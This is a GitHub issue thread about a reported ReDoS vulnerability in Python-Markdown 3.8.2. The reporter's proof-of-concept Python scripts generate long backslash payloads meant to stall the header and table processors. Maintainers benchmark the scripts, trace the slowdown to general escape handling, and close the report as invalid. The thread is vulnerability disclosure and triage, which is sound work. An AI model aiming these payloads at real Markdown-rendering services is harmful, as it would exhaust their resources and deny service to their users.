Lokasi ngalangkungan proxy:   [ UP ]  
[Ngawartoskeun bug]   [Panyetelan cookie]                
Skip to content

Markdown ReDoS bugs 3.8.2 #1545

Closed as not planned
Closed as not planned

Description

@wsparks-vc

Affected Code
https://github.com/Python-Markdown/markdown (pypi: https://pypi.org/project/Markdown/)

Issue
The vulnerabilities identified in the provided code snippet is a type of Regular Expression Denial of Service (ReDoS) attack. This issue arises when a piece of code utilizes regular expressions (regex) in a way that can be exploited to cause a significantly long processing time.

Impact
Resource exhaustion, leading to denial of service

Tested Version
3.8.2 (latest)

Credit
Sajeeb Lohani (Bugcrowd Security Innovation Lab)

Proof of Concept
There are actually two vulnerabilities here, so I believe there should be two CVEs.

# redos_utils.py
import time

def timer(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        elapsed_time = end_time - start_time
        print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
        return result

    return wrapper

def sizer(func):
    def wrapper(*args, **kwargs):
        result = func(*args, **kwargs)
        print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
        return result

    return wrapper
# exploit_hash_header.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in HashHeaderProcessor
    # Pattern: (?:^|\n)(?P<level>#{1,6})(?P<header>(?:\\.|[^\\])*?)#*(?:\n|$)
    # The vulnerable part is (?:\\.|[^\\])*? - many backslashes followed by a non-matching character
    return "#" + "\\" * char_length + "X"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown()
    md.convert(payload)


if __name__ == '__main__':
    print("Testing HashHeaderProcessor ReDOS vulnerability...")
    print("Pattern: (?:^|\\n)(?P<level>#{1,6})(?P<header>(?:\\\\.|[^\\\\])*?)#*(?:\\n|$)")
    print("Location: markdown/blockprocessors.py:461")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    redos_poc_runner(50000)
    print()
    print("Final demonstration with 75000 characters (>2s delay):")
    redos_poc_runner(75000)
# exploit_table.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in TableProcessor
    # Pattern: (?<!\\)(?:\\)*\|$
    # The vulnerable part is (?:\\)* - many escaped backslashes
    return "\\" * char_length + "|"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown(extensions=['tables'])
    md.convert(payload)


if __name__ == '__main__':
    print("Testing TableProcessor ReDOS vulnerability...")
    print("Pattern: (?<!\\\\)(?:\\\\)*\\|$")
    print("Location: markdown/extensions/tables.py:42")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    print()
    print("Final demonstration with 35000 characters (>2s delay):")
    redos_poc_runner(35000)

Activity

  1. waylan commented on Jul 15, 2025

    @waylan
    Member

    The first issue (at markdown/blockprocessors.py:461) appears to have been introduced in #763 and the second (at markdown/extensions/tables.py:42) seems to have been introduced in #530. @facelessuser you committed those changes, albeit over 7 years ago. Do you have any thoughts. In both cases it's not clear to me why we need to match one or more (some variation of \\*). Why the need to match an endless string of backslashes? If I am understanding correctly, we can eliminate the reported issue if we can limit the number of consecutive backslashes matched.

  2. added
    needs-confirmation
    on Jul 15, 2025
  3. facelessuser commented on Jul 15, 2025

    @facelessuser
    Collaborator

    So, this is properly processing escapes vs non-escapes in the given scenarios. If there is a better way, I'm open to it.

    Image

    Granted, the escapes would be further processed normally, but you can the hashes getting preserved and not preserved.

    Image
  4. waylan commented on Jul 16, 2025

    @waylan
    Member

    It seems that the issue here is that there can be consecutive backslashes, some of which escape backslashes and the last of which may or may not escape the character that follows (| or # in the two examples). Whether the last backslash escapes the character that follows depends on whether there is an even or odd number of backslashes in total (if odd, the last backslash escapes the character that follows; if even, the last backslash is escaped by the proceeding backslash and has no effect in the character that follow). In other words, we do need to match all of the backslashes to determine if the last one is to have an effect on the character that follows.

    As an aside, the remaining backslashes (the even pairs) are processed later by an inline processor. The only reason we are doing any backslash escape processing here is to account for escaped block-level tokens. We don't really care about the inline escapes. But we do need to ensure that a backslash actually applies to a block-level token before processing it.

    So, the next question is, can we rewrite the existing expressions in a way that cannot be exploited to cause a significantly long processing time while maintaining the current behavior?

  5. waylan commented on Jul 16, 2025

    @waylan
    Member

    I suppose that a better first question is: does this apply to any character matched with zero-or-more (*)? If so, then this same exploit can be made with any number of characters and we would need to significantly rewrite the entire parser to avoid zero-or-more matches in regular expressions. If that is the case, then I expect that we will just leave things as-is. However, if this is unique to backslashes for some reason, then it may be worth exploring a resolution.

  6. facelessuser commented on Jul 16, 2025

    @facelessuser
    Collaborator

    I'd have to take a closer look at the code and see if it can be refactored away. The backslashes need to be considered, but does it have to be done with regex? Maybe not, depending on the context of the code.

    Are there more cases? Considering the parser is heavily regex-based, it would not surprise me, but maybe many cases can be reduced or given limits...

  7. wsparks-vc commented on Jul 23, 2025

    @wsparks-vc
    Author

    Thanks for analysis. Has there been any movement on a fix?

  8. facelessuser commented on Jul 23, 2025

    @facelessuser
    Collaborator

    No, I haven't had time yet to investigate further.

  9. facelessuser commented on Jul 23, 2025

    @facelessuser
    Collaborator

    So, when I run this, as it is currently configured:

    Testing TableProcessor ReDOS vulnerability...
    Pattern: (?<!\\)(?:\\\\)*\|$
    Location: markdown/extensions/tables.py:42
    
    Payload length: 100
    Payload size: 9.632110595703125e-05 MB
    Function 'redos_poc_runner' executed in 0.0199s
    Payload length: 1000
    Payload size: 0.0009546279907226562 MB
    Function 'redos_poc_runner' executed in 0.0020s
    Payload length: 2000
    Payload size: 0.0019083023071289062 MB
    Function 'redos_poc_runner' executed in 0.0047s
    Payload length: 5000
    Payload size: 0.004769325256347656 MB
    Function 'redos_poc_runner' executed in 0.0193s
    Payload length: 10000
    Payload size: 0.009537696838378906 MB
    Function 'redos_poc_runner' executed in 0.0593s
    Payload length: 20000
    Payload size: 0.019074440002441406 MB
    Function 'redos_poc_runner' executed in 0.2090s
    Payload length: 30000
    Payload size: 0.028611183166503906 MB
    Function 'redos_poc_runner' executed in 0.4555s
    
    Final demonstration with 35000 characters (>2s delay):
    Payload length: 35000
    Payload size: 0.033379554748535156 MB
    Function 'redos_poc_runner' executed in 0.6183s
    

    When I limit it to from * to {,5}, I'm not seeing a significant difference. A difference, albeit a small one. I haven't tested the header one yet.

    Testing TableProcessor ReDOS vulnerability...
    Pattern: (?<!\\)(?:\\\\){,5}\|$
    Location: markdown/extensions/tables.py:42
    
    Payload length: 100
    Payload size: 9.632110595703125e-05 MB
    Function 'redos_poc_runner' executed in 0.0305s
    Payload length: 1000
    Payload size: 0.0009546279907226562 MB
    Function 'redos_poc_runner' executed in 0.0019s
    Payload length: 2000
    Payload size: 0.0019083023071289062 MB
    Function 'redos_poc_runner' executed in 0.0044s
    Payload length: 5000
    Payload size: 0.004769325256347656 MB
    Function 'redos_poc_runner' executed in 0.0179s
    Payload length: 10000
    Payload size: 0.009537696838378906 MB
    Function 'redos_poc_runner' executed in 0.0583s
    Payload length: 20000
    Payload size: 0.019074440002441406 MB
    Function 'redos_poc_runner' executed in 0.2077s
    Payload length: 30000
    Payload size: 0.028611183166503906 MB
    Function 'redos_poc_runner' executed in 0.4518s
    
    Final demonstration with 35000 characters (>2s delay):
    Payload length: 35000
    Payload size: 0.033379554748535156 MB
    Function 'redos_poc_runner' executed in 0.6142s
    
  10. facelessuser commented on Jul 23, 2025

    @facelessuser
    Collaborator

    Even when I remove all the star slashes, it still doesn't drop that much:

    Testing TableProcessor ReDOS vulnerability...
    Pattern: (?<!\\)\|$
    Location: markdown/extensions/tables.py:42
    
    Payload length: 100
    Payload size: 9.632110595703125e-05 MB
    Function 'redos_poc_runner' executed in 0.0310s
    Payload length: 1000
    Payload size: 0.0009546279907226562 MB
    Function 'redos_poc_runner' executed in 0.0018s
    Payload length: 2000
    Payload size: 0.0019083023071289062 MB
    Function 'redos_poc_runner' executed in 0.0043s
    Payload length: 5000
    Payload size: 0.004769325256347656 MB
    Function 'redos_poc_runner' executed in 0.0173s
    Payload length: 10000
    Payload size: 0.009537696838378906 MB
    Function 'redos_poc_runner' executed in 0.0588s
    Payload length: 20000
    Payload size: 0.019074440002441406 MB
    Function 'redos_poc_runner' executed in 0.2099s
    Payload length: 30000
    Payload size: 0.028611183166503906 MB
    Function 'redos_poc_runner' executed in 0.4539s
    
    Final demonstration with 35000 characters (>2s delay):
    Payload length: 35000
    Payload size: 0.033379554748535156 MB
    Function 'redos_poc_runner' executed in 0.6136s
    

    It seems this test is flawed anyway as it is also timing the creation of the giant string.

  11. facelessuser commented on Jul 23, 2025

    @facelessuser
    Collaborator

    Even when restructuring to only time convert, it's about the same 🤷🏻.

  12. waylan commented on Jul 24, 2025

    @waylan
    Member

    Sorry, I'm not sure I follow. What is the same?

  13. facelessuser commented on Jul 25, 2025

    @facelessuser
    Collaborator

    I didn't post the results, but I reworked the scripts to only time the conversion, not the creation of the strings and instantiation of the Markdown object, etc. The conversion is where the bulk of the time is spent. Regardless, simply limiting * to a specific number won't have a large enough difference. I will need to try some other approaches when I get some time.

  14. wsparks-vc commented on Aug 14, 2025

    @wsparks-vc
    Author

    Hello all, for context: this vulnerability was reported to us via our CVD form here: https://www.vulncheck.com/advisories/report and we follow this disclosure policy: https://www.vulncheck.com/vulnerability-disclosure-policy. Admittedly, this process has been altered due to this being an open-source project with a public reporting forum. We will be assigning a CVE for this vuln by 11/12/2025, if not earlier (assuming there is a fix earlier) and ideally with a fix. Thanks for taking the time!

  15. facelessuser commented on Aug 14, 2025

    @facelessuser
    Collaborator

    I was never able to reproduce the >2 second claim for the table (where I was currently focused), my computer was at worst around ~0.6s. So the initial test was likey tested on a slower computer generally.

    I refactored the code to not use regex to check for a pipe at the end using various methods. Here's just one example.

        def has_end_border(self, s: str) -> bool:
            """Check if row has a valid right table pipe and return boolean."""
    
            if s.endswith('|'):
                l = len(s) - 1
                l2 = len(s[:-1].rstrip('\\'))
                d = l2 - l
                return bool(d % 2 == 0)
            return False

    I could not get it under ~0.6 on my machine. We must validate that the end pipe is a valid table pipe, not an escaped pipe, that is what is taking the time, not the regex being inefficient.

    So I replaced the regex with:

        def has_end_border(self, s: str) -> bool:
            """Check if row has a valid right table pipe and return boolean."""
    
            return False

    Still ~0.6s, and no regex doing the check. (?<!\\\\)(?:\\\\)*\\|$ is not the problem. The problem is that Python Markdown is processing a ton of characters. We have to get context of all these characters. Are the backslashes escapes? Are they not escapes? Python Markdown also runs multiple passes for blocks, inines, treeprocessors, etc. You would have to redesign Python Markdown from the bottom up. I'm not sure what to else to say.


    So what about headers? I was able to get > ~2s with the headers test, but again, even if you take out the check for slashes and just simplify, it will take about the same time:

    Now we just take anything for the header, slashes included, but we still get over 2s.

    RE = re.compile(r'(?:^|\n)(?P<level>#{1,6})(?P<header>.*?)#*(?:\n|$)')
    

    If Python Markdown was to "fix" any of these, it would fundamentally have to be rewritten as I suspect these cases are everywhere. Probably in emphasis patterns, etc.

    This is being viewed as a security issue from a server perspective, but the server should probably terminate long running processes and limit large content if it is dynamically accepting random, untrusted content.

    @waylan feel free to weigh in.

  16. facelessuser commented on Aug 14, 2025

    @facelessuser
    Collaborator

    So, I did a test with just "\\" * char_length and I got a long delay, so I imagine the issue comes simply from escape character handling, and not the regex of table or headers.

  17. waylan commented on Aug 14, 2025

    @waylan
    Member

    This appears to be an invalid report. The example provided in the initial report is faulty as discussed above. I am inclined to close this as wontfix/invalid.

  18. facelessuser commented on Aug 14, 2025

    @facelessuser
    Collaborator

    The thing that is taking a long time is processing thousands of escapes (creating placeholders and then restoring them). I'm not sure there is anything we can do there, just due to how Python Markdown is designed.

  19. facelessuser commented on Aug 14, 2025

    @facelessuser
    Collaborator

    I also agree that the premise of the bug is faulty.

  20. added
    invalid
    and removed
    needs-confirmation
    on Aug 14, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    invalid

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions